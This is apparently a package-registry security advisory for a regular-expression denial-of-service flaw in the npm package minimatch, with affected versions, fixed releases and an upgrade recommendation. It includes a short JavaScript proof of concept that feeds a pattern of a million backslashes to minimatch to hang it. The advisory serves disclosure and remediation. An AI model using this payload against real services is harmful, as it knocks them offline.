Packages / minimatch / Security
HighVulnerabilityGHSA-hxm2-r34f-qmc5CVE-2016-10540Published 9 Oct 2018
Regular Expression Denial of Service in minimatch
Your version
Affected releases · minimatch
- 3.x3.0.0Fixed in 3.0.2
- 2.x and older0.0.1 – 2.0.10No fix, no longer updated
On 3.x, the newest line:
npm install minimatch@3.0.2Every release on a timeline
11.x
Not affected
11.0.0 – 11.0.9
10 releases, latest
3.x
Affected
3.0.0
1 release
Fixed
3.0.2 – 3.1.5
13 releases
2.x
Affected
2.0.0 – 2.0.10
11 releases
1.x
Affected
1.0.0
1 release
0.x
Affected
0.0.1 – 0.4.0
25 releases
What happens
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);Recommendation
Update to version 3.0.2 or later.
A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.